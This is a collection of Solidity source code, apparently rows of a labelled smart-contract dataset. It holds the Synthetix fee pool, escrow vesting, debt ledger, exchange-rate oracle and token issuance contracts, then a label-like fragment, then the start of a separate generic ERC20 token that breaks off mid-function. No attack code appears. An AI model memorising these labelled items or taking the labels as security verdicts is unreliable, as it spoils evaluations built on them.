function feesAvailable(address account, bytes4 currencyKey)
public
view
returns (uint)
{
uint[FEE_PERIOD_LENGTH] memory userFees = feesByPeriod(account);
uint totalFees = 0;
for (uint i = 1; i < FEE_PERIOD_LENGTH; i++) {
totalFees = totalFees.add(userFees[i]);
}
return synthetix.effectiveValue("XDR", totalFees, currencyKey);
}
function currentPenalty(address account)
public
view
returns (uint)
{
uint ratio = synthetix.collateralisationRatio(account);
if (ratio <= TWENTY_PERCENT) {
return 0;
} else if (ratio > TWENTY_PERCENT && ratio <= THIRTY_PERCENT) {
return TWENTY_FIVE_PERCENT;
} else if (ratio > THIRTY_PERCENT && ratio <= FOURTY_PERCENT) {
return FIFTY_PERCENT;
}
return SEVENTY_FIVE_PERCENT;
}
function feesByPeriod(address account)
public
view
returns (uint[FEE_PERIOD_LENGTH])
{
uint[FEE_PERIOD_LENGTH] memory result;
uint initialDebtOwnership;
uint debtEntryIndex;
(initialDebtOwnership, debtEntryIndex) = synthetix.synthetixState().issuanceData(account);
if (initialDebtOwnership == 0) return result;
uint totalSynths = synthetix.totalIssuedSynths("XDR");
if (totalSynths == 0) return result;
uint debtBalance = synthetix.debtBalanceOf(account, "XDR");
uint userOwnershipPercentage = debtBalance.divideDecimal(totalSynths);
uint penalty = currentPenalty(account);
for (uint i = 0; i < FEE_PERIOD_LENGTH; i++) {
if (recentFeePeriods[i].startingDebtIndex > debtEntryIndex &&
lastFeeWithdrawal[account] < recentFeePeriods[i].feePeriodId) {
uint feesFromPeriodWithoutPenalty = recentFeePeriods[i].feesToDistribute
.multiplyDecimal(userOwnershipPercentage);
uint penaltyFromPeriod = feesFromPeriodWithoutPenalty.multiplyDecimal(penalty);
uint feesFromPeriod = feesFromPeriodWithoutPenalty.sub(penaltyFromPeriod);
result[i] = feesFromPeriod;
}
}
return result;
}
modifier onlyFeeAuthority
{
require(msg.sender == feeAuthority, "Only the fee authority can perform this action");
_;
}
modifier onlySynthetix
{
require(msg.sender == address(synthetix), "Only the synthetix contract can perform this action");
_;
}
modifier notFeeAddress(address account) {
require(account != FEE_ADDRESS, "Fee address not allowed");
_;
}
event TransferFeeUpdated(uint newFeeRate);
bytes32 constant TRANSFERFEEUPDATED_SIG = keccak256("TransferFeeUpdated(uint256)");
function emitTransferFeeUpdated(uint newFeeRate) internal {
proxy._emit(abi.encode(newFeeRate), 1, TRANSFERFEEUPDATED_SIG, 0, 0, 0);
}
event ExchangeFeeUpdated(uint newFeeRate);
bytes32 constant EXCHANGEFEEUPDATED_SIG = keccak256("ExchangeFeeUpdated(uint256)");
function emitExchangeFeeUpdated(uint newFeeRate) internal {
proxy._emit(abi.encode(newFeeRate), 1, EXCHANGEFEEUPDATED_SIG, 0, 0, 0);
}
event FeePeriodDurationUpdated(uint newFeePeriodDuration);
bytes32 constant FEEPERIODDURATIONUPDATED_SIG = keccak256("FeePeriodDurationUpdated(uint256)");
function emitFeePeriodDurationUpdated(uint newFeePeriodDuration) internal {
proxy._emit(abi.encode(newFeePeriodDuration), 1, FEEPERIODDURATIONUPDATED_SIG, 0, 0, 0);
}
event FeeAuthorityUpdated(address newFeeAuthority);
bytes32 constant FEEAUTHORITYUPDATED_SIG = keccak256("FeeAuthorityUpdated(address)");
function emitFeeAuthorityUpdated(address newFeeAuthority) internal {
proxy._emit(abi.encode(newFeeAuthority), 1, FEEAUTHORITYUPDATED_SIG, 0, 0, 0);
}
event FeePeriodClosed(uint feePeriodId);
bytes32 constant FEEPERIODCLOSED_SIG = keccak256("FeePeriodClosed(uint256)");
function emitFeePeriodClosed(uint feePeriodId) internal {
proxy._emit(abi.encode(feePeriodId), 1, FEEPERIODCLOSED_SIG, 0, 0, 0);
}
event FeesClaimed(address account, uint xdrAmount);
bytes32 constant FEESCLAIMED_SIG = keccak256("FeesClaimed(address,uint256)");
function emitFeesClaimed(address account, uint xdrAmount) internal {
proxy._emit(abi.encode(account, xdrAmount), 1, FEESCLAIMED_SIG, 0, 0, 0);
}
event SynthetixUpdated(address newSynthetix);
bytes32 constant SYNTHETIXUPDATED_SIG = keccak256("SynthetixUpdated(address)");
function emitSynthetixUpdated(address newSynthetix) internal {
proxy._emit(abi.encode(newSynthetix), 1, SYNTHETIXUPDATED_SIG, 0, 0, 0);
}
}
contract LimitedSetup {
uint setupExpiryTime;
constructor(uint setupDuration)
public
{
setupExpiryTime = now + setupDuration;
}
modifier onlyDuringSetup
{
require(now < setupExpiryTime, "Can only perform this action during setup");
_;
}
}
contract SynthetixEscrow is Owned, LimitedSetup(8 weeks) {
using SafeMath for uint;
Synthetix public synthetix;
mapping(address => uint[2][]) public vestingSchedules;
mapping(address => uint) public totalVestedAccountBalance;
uint public totalVestedBalance;
uint constant TIME_INDEX = 0;
uint constant QUANTITY_INDEX = 1;
uint constant MAX_VESTING_ENTRIES = 20;
constructor(address _owner, Synthetix _synthetix)
Owned(_owner)
public
{
synthetix = _synthetix;
}
function setSynthetix(Synthetix _synthetix)
external
onlyOwner
{
synthetix = _synthetix;
emit SynthetixUpdated(_synthetix);
}
function balanceOf(address account)
public
view
returns (uint)
{
return totalVestedAccountBalance[account];
}
function numVestingEntries(address account)
public
view
returns (uint)
{
return vestingSchedules[account].length;
}
function getVestingScheduleEntry(address account, uint index)
public
view
returns (uint[2])
{
return vestingSchedules[account][index];
}
function getVestingTime(address account, uint index)
public
view
returns (uint)
{
return getVestingScheduleEntry(account,index)[TIME_INDEX];
}
function getVestingQuantity(address account, uint index)
public
view
returns (uint)
{
return getVestingScheduleEntry(account,index)[QUANTITY_INDEX];
}
function getNextVestingIndex(address account)
public
view
returns (uint)
{
uint len = numVestingEntries(account);
for (uint i = 0; i < len; i++) {
if (getVestingTime(account, i) != 0) {
return i;
}
}
return len;
}
function getNextVestingEntry(address account)
public
view
returns (uint[2])
{
uint index = getNextVestingIndex(account);
if (index == numVestingEntries(account)) {
return [uint(0), 0];
}
return getVestingScheduleEntry(account, index);
}
function getNextVestingTime(address account)
external
view
returns (uint)
{
return getNextVestingEntry(account)[TIME_INDEX];
}
function getNextVestingQuantity(address account)
external
view
returns (uint)
{
return getNextVestingEntry(account)[QUANTITY_INDEX];
}
function withdrawSynthetix(uint quantity)
external
onlyOwner
onlyDuringSetup
{
synthetix.transfer(synthetix, quantity);
}
function purgeAccount(address account)
external
onlyOwner
onlyDuringSetup
{
delete vestingSchedules[account];
totalVestedBalance = totalVestedBalance.sub(totalVestedAccountBalance[account]);
delete totalVestedAccountBalance[account];
}
function appendVestingEntry(address account, uint time, uint quantity)
public
onlyOwner
onlyDuringSetup
{
require(now < time, "Time must be in the future");
require(quantity != 0, "Quantity cannot be zero");
totalVestedBalance = totalVestedBalance.add(quantity);
require(totalVestedBalance <= synthetix.balanceOf(this), "Must be enough balance in the contract to provide for the vesting entry");
uint scheduleLength = vestingSchedules[account].length;
require(scheduleLength <= MAX_VESTING_ENTRIES, "Vesting schedule is too long");
if (scheduleLength == 0) {
totalVestedAccountBalance[account] = quantity;
} else {
require(getVestingTime(account, numVestingEntries(account) - 1) < time, "Cannot add new vested entries earlier than the last one");
totalVestedAccountBalance[account] = totalVestedAccountBalance[account].add(quantity);
}
vestingSchedules[account].push([time, quantity]);
}
function addVestingSchedule(address account, uint[] times, uint[] quantities)
external
onlyOwner
onlyDuringSetup
{
for (uint i = 0; i < times.length; i++) {
appendVestingEntry(account, times[i], quantities[i]);
}
}
function vest()
external
{
uint numEntries = numVestingEntries(msg.sender);
uint total;
for (uint i = 0; i < numEntries; i++) {
uint time = getVestingTime(msg.sender, i);
if (time > now) {
break;
}
uint qty = getVestingQuantity(msg.sender, i);
if (qty == 0) {
continue;
}
vestingSchedules[msg.sender][i] = [0, 0];
total = total.add(qty);
}
if (total != 0) {
totalVestedBalance = totalVestedBalance.sub(total);
totalVestedAccountBalance[msg.sender] = totalVestedAccountBalance[msg.sender].sub(total);
synthetix.transfer(msg.sender, total);
emit Vested(msg.sender, now, total);
}
}
event SynthetixUpdated(address newSynthetix);
event Vested(address indexed beneficiary, uint time, uint value);
}
contract SynthetixState is State, LimitedSetup {
using SafeMath for uint;
using SafeDecimalMath for uint;
struct IssuanceData {
uint initialDebtOwnership;
uint debtEntryIndex;
}
mapping(address => IssuanceData) public issuanceData;
uint public totalIssuerCount;
uint[] public debtLedger;
uint public importedXDRAmount;
uint public issuanceRatio = SafeDecimalMath.unit() / 5;
uint constant MAX_ISSUANCE_RATIO = SafeDecimalMath.unit();
mapping(address => bytes4) public preferredCurrency;
constructor(address _owner, address _associatedContract)
State(_owner, _associatedContract)
LimitedSetup(1 weeks)
public
{}
function setCurrentIssuanceData(address account, uint initialDebtOwnership)
external
onlyAssociatedContract
{
issuanceData[account].initialDebtOwnership = initialDebtOwnership;
issuanceData[account].debtEntryIndex = debtLedger.length;
}
function clearIssuanceData(address account)
external
onlyAssociatedContract
{
delete issuanceData[account];
}
function incrementTotalIssuerCount()
external
onlyAssociatedContract
{
totalIssuerCount = totalIssuerCount.add(1);
}
function decrementTotalIssuerCount()
external
onlyAssociatedContract
{
totalIssuerCount = totalIssuerCount.sub(1);
}
function appendDebtLedgerValue(uint value)
external
onlyAssociatedContract
{
debtLedger.push(value);
}
function setPreferredCurrency(address account, bytes4 currencyKey)
external
onlyAssociatedContract
{
preferredCurrency[account] = currencyKey;
}
function setIssuanceRatio(uint _issuanceRatio)
external
onlyOwner
{
require(_issuanceRatio <= MAX_ISSUANCE_RATIO, "New issuance ratio cannot exceed MAX_ISSUANCE_RATIO");
issuanceRatio = _issuanceRatio;
emit IssuanceRatioUpdated(_issuanceRatio);
}
function importIssuerData(address[] accounts, uint[] sUSDAmounts)
external
onlyOwner
onlyDuringSetup
{
require(accounts.length == sUSDAmounts.length, "Length mismatch");
for (uint8 i = 0; i < accounts.length; i++) {
_addToDebtRegister(accounts[i], sUSDAmounts[i]);
}
}
function _addToDebtRegister(address account, uint amount)
internal
{
Synthetix synthetix = Synthetix(associatedContract);
uint xdrValue = synthetix.effectiveValue("sUSD", amount, "XDR");
uint totalDebtIssued = importedXDRAmount;
uint newTotalDebtIssued = xdrValue.add(totalDebtIssued);
importedXDRAmount = newTotalDebtIssued;
uint debtPercentage = xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued);
uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage);
uint existingDebt = synthetix.debtBalanceOf(account, "XDR");
if (existingDebt > 0) {
debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued);
}
if (issuanceData[account].initialDebtOwnership == 0) {
totalIssuerCount = totalIssuerCount.add(1);
}
issuanceData[account].initialDebtOwnership = debtPercentage;
issuanceData[account].debtEntryIndex = debtLedger.length;
if (debtLedger.length > 0) {
debtLedger.push(
debtLedger[debtLedger.length - 1].multiplyDecimalRoundPrecise(delta)
);
} else {
debtLedger.push(SafeDecimalMath.preciseUnit());
}
}
function debtLedgerLength()
external
view
returns (uint)
{
return debtLedger.length;
}
function lastDebtLedgerEntry()
external
view
returns (uint)
{
return debtLedger[debtLedger.length - 1];
}
function hasIssued(address account)
external
view
returns (bool)
{
return issuanceData[account].initialDebtOwnership > 0;
}
event IssuanceRatioUpdated(uint newRatio);
}
contract ExchangeRates is SelfDestructible {
using SafeMath for uint;
mapping(bytes4 => uint) public rates;
mapping(bytes4 => uint) public lastRateUpdateTimes;
address public oracle;
uint constant ORACLE_FUTURE_LIMIT = 10 minutes;
uint public rateStalePeriod = 3 hours;
bytes4[5] public xdrParticipants;
constructor(
address _owner,
address _oracle,
bytes4[] _currencyKeys,
uint[] _newRates
)
SelfDestructible(_owner)
public
{
require(_currencyKeys.length == _newRates.length, "Currency key length and rate length must match.");
oracle = _oracle;
rates["sUSD"] = SafeDecimalMath.unit();
lastRateUpdateTimes["sUSD"] = now;
xdrParticipants = [
bytes4("sUSD"),
bytes4("sAUD"),
bytes4("sCHF"),
bytes4("sEUR"),
bytes4("sGBP")
];
internalUpdateRates(_currencyKeys, _newRates, now);
}
function updateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent)
external
onlyOracle
returns(bool)
{
return internalUpdateRates(currencyKeys, newRates, timeSent);
}
function internalUpdateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent)
internal
returns(bool)
{
require(currencyKeys.length == newRates.length, "Currency key array length must match rates array length.");
require(timeSent < (now + ORACLE_FUTURE_LIMIT), "Time is too far into the future");
for (uint i = 0; i < currencyKeys.length; i++) {
require(newRates[i] != 0, "Zero is not a valid rate, please call deleteRate instead.");
require(currencyKeys[i] != "sUSD", "Rate of sUSD cannot be updated, it's always UNIT.");
if (timeSent >= lastRateUpdateTimes[currencyKeys[i]]) {
rates[currencyKeys[i]] = newRates[i];
lastRateUpdateTimes[currencyKeys[i]] = timeSent;
}
}
emit RatesUpdated(currencyKeys, newRates);
updateXDRRate(timeSent);
return true;
}
function updateXDRRate(uint timeSent)
internal
{
uint total = 0;
for (uint i = 0; i < xdrParticipants.length; i++) {
total = rates[xdrParticipants[i]].add(total);
}
rates["XDR"] = total;
lastRateUpdateTimes["XDR"] = timeSent;
bytes4[] memory eventCurrencyCode = new bytes4[](1);
eventCurrencyCode[0] = "XDR";
uint[] memory eventRate = new uint[](1);
eventRate[0] = rates["XDR"];
emit RatesUpdated(eventCurrencyCode, eventRate);
}
function deleteRate(bytes4 currencyKey)
external
onlyOracle
{
require(rates[currencyKey] > 0, "Rate is zero");
delete rates[currencyKey];
delete lastRateUpdateTimes[currencyKey];
emit RateDeleted(currencyKey);
}
function setOracle(address _oracle)
external
onlyOwner
{
oracle = _oracle;
emit OracleUpdated(oracle);
}
function setRateStalePeriod(uint _time)
external
onlyOwner
{
rateStalePeriod = _time;
emit RateStalePeriodUpdated(rateStalePeriod);
}
function rateForCurrency(bytes4 currencyKey)
public
view
returns (uint)
{
return rates[currencyKey];
}
function ratesForCurrencies(bytes4[] currencyKeys)
public
view
returns (uint[])
{
uint[] memory _rates = new uint[](currencyKeys.length);
for (uint8 i = 0; i < currencyKeys.length; i++) {
_rates[i] = rates[currencyKeys[i]];
}
return _rates;
}
function lastRateUpdateTimeForCurrency(bytes4 currencyKey)
public
view
returns (uint)
{
return lastRateUpdateTimes[currencyKey];
}
function lastRateUpdateTimesForCurrencies(bytes4[] currencyKeys)
public
view
returns (uint[])
{
uint[] memory lastUpdateTimes = new uint[](currencyKeys.length);
for (uint8 i = 0; i < currencyKeys.length; i++) {
lastUpdateTimes[i] = lastRateUpdateTimes[currencyKeys[i]];
}
return lastUpdateTimes;
}
function rateIsStale(bytes4 currencyKey)
external
view
returns (bool)
{
if (currencyKey == "sUSD") return false;
return lastRateUpdateTimes[currencyKey].add(rateStalePeriod) < now;
}
function anyRateIsStale(bytes4[] currencyKeys)
external
view
returns (bool)
{
uint256 i = 0;
while (i < currencyKeys.length) {
if (currencyKeys[i] != "sUSD" && lastRateUpdateTimes[currencyKeys[i]].add(rateStalePeriod) < now) {
return true;
}
i += 1;
}
return false;
}
modifier onlyOracle
{
require(msg.sender == oracle, "Only the oracle can perform this action");
_;
}
event OracleUpdated(address newOracle);
event RateStalePeriodUpdated(uint rateStalePeriod);
event RatesUpdated(bytes4[] currencyKeys, uint[] newRates);
event RateDeleted(bytes4 currencyKey);
}
contract Synthetix is ExternStateToken {
Synth[] public availableSynths;
mapping(bytes4 => Synth) public synths;
FeePool public feePool;
SynthetixEscrow public escrow;
ExchangeRates public exchangeRates;
SynthetixState public synthetixState;
uint constant SYNTHETIX_SUPPLY = 1e8 * SafeDecimalMath.unit();
string constant TOKEN_NAME = "Synthetix Network Token";
string constant TOKEN_SYMBOL = "SNX";
uint8 constant DECIMALS = 18;
constructor(address _proxy, TokenState _tokenState, SynthetixState _synthetixState,
address _owner, ExchangeRates _exchangeRates, FeePool _feePool
)
ExternStateToken(_proxy, _tokenState, TOKEN_NAME, TOKEN_SYMBOL, SYNTHETIX_SUPPLY, DECIMALS, _owner)
public
{
synthetixState = _synthetixState;
exchangeRates = _exchangeRates;
feePool = _feePool;
}
function addSynth(Synth synth)
external
optionalProxy_onlyOwner
{
bytes4 currencyKey = synth.currencyKey();
require(synths[currencyKey] == Synth(0), "Synth already exists");
availableSynths.push(synth);
synths[currencyKey] = synth;
emitSynthAdded(currencyKey, synth);
}
function removeSynth(bytes4 currencyKey)
external
optionalProxy_onlyOwner
{
require(synths[currencyKey] != address(0), "Synth does not exist");
require(synths[currencyKey].totalSupply() == 0, "Synth supply exists");
require(currencyKey != "XDR", "Cannot remove XDR synth");
address synthToRemove = synths[currencyKey];
for (uint8 i = 0; i < availableSynths.length; i++) {
if (availableSynths[i] == synthToRemove) {
delete availableSynths[i];
availableSynths[i] = availableSynths[availableSynths.length - 1];
availableSynths.length--;
break;
}
}
delete synths[currencyKey];
emitSynthRemoved(currencyKey, synthToRemove);
}
function setEscrow(SynthetixEscrow _escrow)
external
optionalProxy_onlyOwner
{
escrow = _escrow;
}
function setExchangeRates(ExchangeRates _exchangeRates)
external
optionalProxy_onlyOwner
{
exchangeRates = _exchangeRates;
}
function setSynthetixState(SynthetixState _synthetixState)
external
optionalProxy_onlyOwner
{
synthetixState = _synthetixState;
emitStateContractChanged(_synthetixState);
}
function setPreferredCurrency(bytes4 currencyKey)
external
optionalProxy
{
require(currencyKey == 0 || !exchangeRates.rateIsStale(currencyKey), "Currency rate is stale or doesn't exist.");
synthetixState.setPreferredCurrency(messageSender, currencyKey);
emitPreferredCurrencyChanged(messageSender, currencyKey);
}
function effectiveValue(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey)
public
view
rateNotStale(sourceCurrencyKey)
rateNotStale(destinationCurrencyKey)
returns (uint)
{
if (sourceCurrencyKey == destinationCurrencyKey) return sourceAmount;
return sourceAmount.multiplyDecimalRound(exchangeRates.rateForCurrency(sourceCurrencyKey))
.divideDecimalRound(exchangeRates.rateForCurrency(destinationCurrencyKey));
}
function totalIssuedSynths(bytes4 currencyKey)
public
view
rateNotStale(currencyKey)
returns (uint)
{
uint total = 0;
uint currencyRate = exchangeRates.rateForCurrency(currencyKey);
require(!exchangeRates.anyRateIsStale(availableCurrencyKeys()), "Rates are stale");
for (uint8 i = 0; i < availableSynths.length; i++) {
uint synthValue = availableSynths[i].totalSupply()
.multiplyDecimalRound(exchangeRates.rateForCurrency(availableSynths[i].currencyKey()))
.divideDecimalRound(currencyRate);
total = total.add(synthValue);
}
return total;
}
function availableCurrencyKeys()
internal
view
returns (bytes4[])
{
bytes4[] memory availableCurrencyKeys = new bytes4[](availableSynths.length);
for (uint8 i = 0; i < availableSynths.length; i++) {
availableCurrencyKeys[i] = availableSynths[i].currencyKey();
}
return availableCurrencyKeys;
}
function availableSynthCount()
public
view
returns (uint)
{
return availableSynths.length;
}
function transfer(address to, uint value)
public
returns (bool)
{
bytes memory empty;
return transfer(to, value, empty);
}
function transfer(address to, uint value, bytes data)
public
optionalProxy
returns (bool)
{
require(value <= transferableSynthetix(messageSender), "Insufficient balance");
_transfer_byProxy(messageSender, to, value, data);
return true;
}
function transferFrom(address from, address to, uint value)
public
returns (bool)
{
bytes memory empty;
return transferFrom(from, to, value, empty);
}
function transferFrom(address from, address to, uint value, bytes data)
public
optionalProxy
returns (bool)
{
require(value <= transferableSynthetix(from), "Insufficient balance");
_transferFrom_byProxy(messageSender, from, to, value, data);
return true;
}
function exchange(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey, address destinationAddress)
external
optionalProxy
returns (bool)
{
require(sourceCurrencyKey != destinationCurrencyKey, "Exchange must use different synths");
require(sourceAmount > 0, "Zero amount");
return _internalExchange(
messageSender,
sourceCurrencyKey,
sourceAmount,
destinationCurrencyKey,
destinationAddress == address(0) ? messageSender : destinationAddress,
true
);
}
function synthInitiatedExchange(
address from,
bytes4 sourceCurrencyKey,
uint sourceAmount,
bytes4 destinationCurrencyKey,
address destinationAddress
)
external
onlySynth
returns (bool)
{
require(sourceCurrencyKey != destinationCurrencyKey, "Can't be same synth");
require(sourceAmount > 0, "Zero amount");
return _internalExchange(
from,
sourceCurrencyKey,
sourceAmount,
destinationCurrencyKey,
destinationAddress,
false
);
}
function synthInitiatedFeePayment(
address from,
bytes4 sourceCurrencyKey,
uint sourceAmount
)
external
onlySynth
returns (bool)
{
if (sourceAmount == 0) {
return true;
}
require(sourceAmount > 0, "Source can't be 0");
bool result = _internalExchange(
from,
sourceCurrencyKey,
sourceAmount,
"XDR",
feePool.FEE_ADDRESS(),
false
);
feePool.feePaid(sourceCurrencyKey, sourceAmount);
return result;
}
function _internalExchange(
address from,
bytes4 sourceCurrencyKey,
uint sourceAmount,
bytes4 destinationCurrencyKey,
address destinationAddress,
bool chargeFee
)
internal
notFeeAddress(from)
returns (bool)
{
require(destinationAddress != address(0), "Zero destination");
require(destinationAddress != address(this), "Synthetix is invalid destination");
require(destinationAddress != address(proxy), "Proxy is invalid destination");
synths[sourceCurrencyKey].burn(from, sourceAmount);
uint destinationAmount = effectiveValue(sourceCurrencyKey, sourceAmount, destinationCurrencyKey);
uint amountReceived = destinationAmount;
uint fee = 0;
if (chargeFee) {
amountReceived = feePool.amountReceivedFromExchange(destinationAmount);
fee = destinationAmount.sub(amountReceived);
}
synths[destinationCurrencyKey].issue(destinationAddress, amountReceived);
if (fee > 0) {
uint xdrFeeAmount = effectiveValue(destinationCurrencyKey, fee, "XDR");
synths["XDR"].issue(feePool.FEE_ADDRESS(), xdrFeeAmount);
}
synths[destinationCurrencyKey].triggerTokenFallbackIfNeeded(from, destinationAddress, amountReceived);
emitSynthExchange(from, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, amountReceived, destinationAddress);
return true;
}
function _addToDebtRegister(bytes4 currencyKey, uint amount)
internal
optionalProxy
{
uint xdrValue = effectiveValue(currencyKey, amount, "XDR");
uint totalDebtIssued = totalIssuedSynths("XDR");
uint newTotalDebtIssued = xdrValue.add(totalDebtIssued);
uint debtPercentage = xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued);
uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage);
uint existingDebt = debtBalanceOf(messageSender, "XDR");
if (existingDebt > 0) {
debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued);
}
if (!synthetixState.hasIssued(messageSender)) {
synthetixState.incrementTotalIssuerCount();
}
synthetixState.setCurrentIssuanceData(messageSender, debtPercentage);
if (synthetixState.debtLedgerLength() > 0) {
synthetixState.appendDebtLedgerValue(
synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta)
);
} else {
synthetixState.appendDebtLedgerValue(SafeDecimalMath.preciseUnit());
}
}
function issueSynths(bytes4 currencyKey, uint amount)
public
optionalProxy
nonZeroAmount(amount)
{
require(amount <= remainingIssuableSynths(messageSender, currencyKey), "Amount too large");
_addToDebtRegister(currencyKey, amount);
synths[currencyKey].issue(messageSender, amount);
}
function issueMaxSynths(bytes4 currencyKey)
external
optionalProxy
{
uint maxIssuable = remainingIssuableSynths(messageSender, currencyKey);
issueSynths(currencyKey, maxIssuable);
}
function burnSynths(bytes4 currencyKey, uint amount)
external
optionalProxy
{
uint debt = debtBalanceOf(messageSender, currencyKey);
require(debt > 0, "No debt to forgive");
uint amountToBurn = debt < amount ? debt : amount;
_removeFromDebtRegister(currencyKey, amountToBurn);
synths[currencyKey].burn(messageSender, amountToBurn);
}
function _removeFromDebtRegister(bytes4 currencyKey, uint amount)
internal
{
uint debtToRemove = effectiveValue(currencyKey, amount, "XDR");
uint existingDebt = debtBalanceOf(messageSender, "XDR");
uint totalDebtIssued = totalIssuedSynths("XDR");
uint debtPercentage = debtToRemove.divideDecimalRoundPrecise(totalDebtIssued);
uint delta = SafeDecimalMath.preciseUnit().add(debtPercentage);
if (debtToRemove == existingDebt) {
synthetixState.clearIssuanceData(messageSender);
synthetixState.decrementTotalIssuerCount();
} else {
uint newDebt = existingDebt.sub(debtToRemove);
uint newTotalDebtIssued = totalDebtIssued.sub(debtToRemove);
uint newDebtPercentage = newDebt.divideDecimalRoundPrecise(newTotalDebtIssued);
synthetixState.setCurrentIssuanceData(messageSender, newDebtPercentage);
}
synthetixState.appendDebtLedgerValue(
synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta)
);
}
function maxIssuableSynths(address issuer, bytes4 currencyKey)
public
view
returns (uint)
{
uint destinationValue = effectiveValue("SNX", collateral(issuer), currencyKey);
return destinationValue.multiplyDecimal(synthetixState.issuanceRatio());
}
function collateralisationRatio(address issuer)
public
view
returns (uint)
{
uint totalOwnedSynthetix = collateral(issuer);
if (totalOwnedSynthetix == 0) return 0;
uint debtBalance = debtBalanceOf(issuer, "SNX");
return debtBalance.divideDecimalRound(totalOwnedSynthetix);
}
function debtBalanceOf(address issuer, bytes4 currencyKey)
public
view
returns (uint)
{
uint initialDebtOwnership;
uint debtEntryIndex;
(initialDebtOwnership, debtEntryIndex) = synthetixState.issuanceData(issuer);
if (initialDebtOwnership == 0) return 0;
uint currentDebtOwnership = synthetixState.lastDebtLedgerEntry()
.divideDecimalRoundPrecise(synthetixState.debtLedger(debtEntryIndex))
.multiplyDecimalRoundPrecise(initialDebtOwnership);
uint totalSystemValue = totalIssuedSynths(currencyKey);
uint highPrecisionBalance = totalSystemValue.decimalToPreciseDecimal()
.multiplyDecimalRoundPrecise(currentDebtOwnership);
return highPrecisionBalance.preciseDecimalToDecimal();
}
function remainingIssuableSynths(address issuer, bytes4 currencyKey)
public
view
returns (uint)
{
uint alreadyIssued = debtBalanceOf(issuer, currencyKey);
uint max = maxIssuableSynths(issuer, currencyKey);
if (alreadyIssued >= max) {
return 0;
} else {
return max.sub(alreadyIssued);
}
}
function collateral(address account)
public
view
returns (uint)
{
uint balance = tokenState.balanceOf(account);
if (escrow != address(0)) {
balance = balance.add(escrow.balanceOf(account));
}
return balance;
}
function transferableSynthetix(address account)
public
view
rateNotStale("SNX")
returns (uint)
{
uint balance = tokenState.balanceOf(account);
uint lockedSynthetixValue = debtBalanceOf(account, "SNX").divideDecimalRound(synthetixState.issuanceRatio());
if (lockedSynthetixValue >= balance) {
return 0;
} else {
return balance.sub(lockedSynthetixValue);
}
}
modifier rateNotStale(bytes4 currencyKey) {
require(!exchangeRates.rateIsStale(currencyKey), "Rate stale or nonexistant currency");
_;
}
modifier notFeeAddress(address account) {
require(account != feePool.FEE_ADDRESS(), "Fee address not allowed");
_;
}
modifier onlySynth() {
bool isSynth = false;
for (uint8 i = 0; i < availableSynths.length; i++) {
if (availableSynths[i] == msg.sender) {
isSynth = true;
break;
}
}
require(isSynth, "Only synth allowed");
_;
}
modifier nonZeroAmount(uint _amount) {
require(_amount > 0, "Amount needs to be larger than 0");
_;
}
event SynthExchange(address indexed account, bytes4 fromCurrencyKey, uint256 fromAmount, bytes4 toCurrencyKey, uint256 toAmount, address toAddress);
bytes32 constant SYNTHEXCHANGE_SIG = keccak256("SynthExchange(address,bytes4,uint256,bytes4,uint256,address)");
function emitSynthExchange(address account, bytes4 fromCurrencyKey, uint256 fromAmount, bytes4 toCurrencyKey, uint256 toAmount, address toAddress) internal {
proxy._emit(abi.encode(fromCurrencyKey, fromAmount, toCurrencyKey, toAmount, toAddress), 2, SYNTHEXCHANGE_SIG, bytes32(account), 0, 0);
}
event PreferredCurrencyChanged(address indexed account, bytes4 newPreferredCurrency);
bytes32 constant PREFERREDCURRENCYCHANGED_SIG = keccak256("PreferredCurrencyChanged(address,bytes4)");
function emitPreferredCurrencyChanged(address account, bytes4 newPreferredCurrency) internal {
proxy._emit(abi.encode(newPreferredCurrency), 2, PREFERREDCURRENCYCHANGED_SIG, bytes32(account), 0, 0);
}
event StateContractChanged(address stateContract);
bytes32 constant STATECONTRACTCHANGED_SIG = keccak256("StateContractChanged(address)");
function emitStateContractChanged(address stateContract) internal {
proxy._emit(abi.encode(stateContract), 1, STATECONTRACTCHANGED_SIG, 0, 0, 0);
}
event SynthAdded(bytes4 currencyKey, address newSynth);
bytes32 constant SYNTHADDED_SIG = keccak256("SynthAdded(bytes4,address)");
function emitSynthAdded(bytes4 currencyKey, address newSynth) internal {
proxy._emit(abi.encode(currencyKey, newSynth), 1, SYNTHADDED_SIG, 0, 0, 0);
}
event SynthRemoved(bytes4 currencyKey, address removedSynth);
bytes32 constant SYNTHREMOVED_SIG = keccak256("SynthRemoved(bytes4,address)");
function emitSynthRemoved(bytes4 currencyKey, address removedSynth) internal {
proxy._emit(abi.encode(currencyKey, removedSynth), 1, SYNTHREMOVED_SIG, 0, 0, 0);
}
} | 0 | 1,534 |
pragma solidity ^0.4.25;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
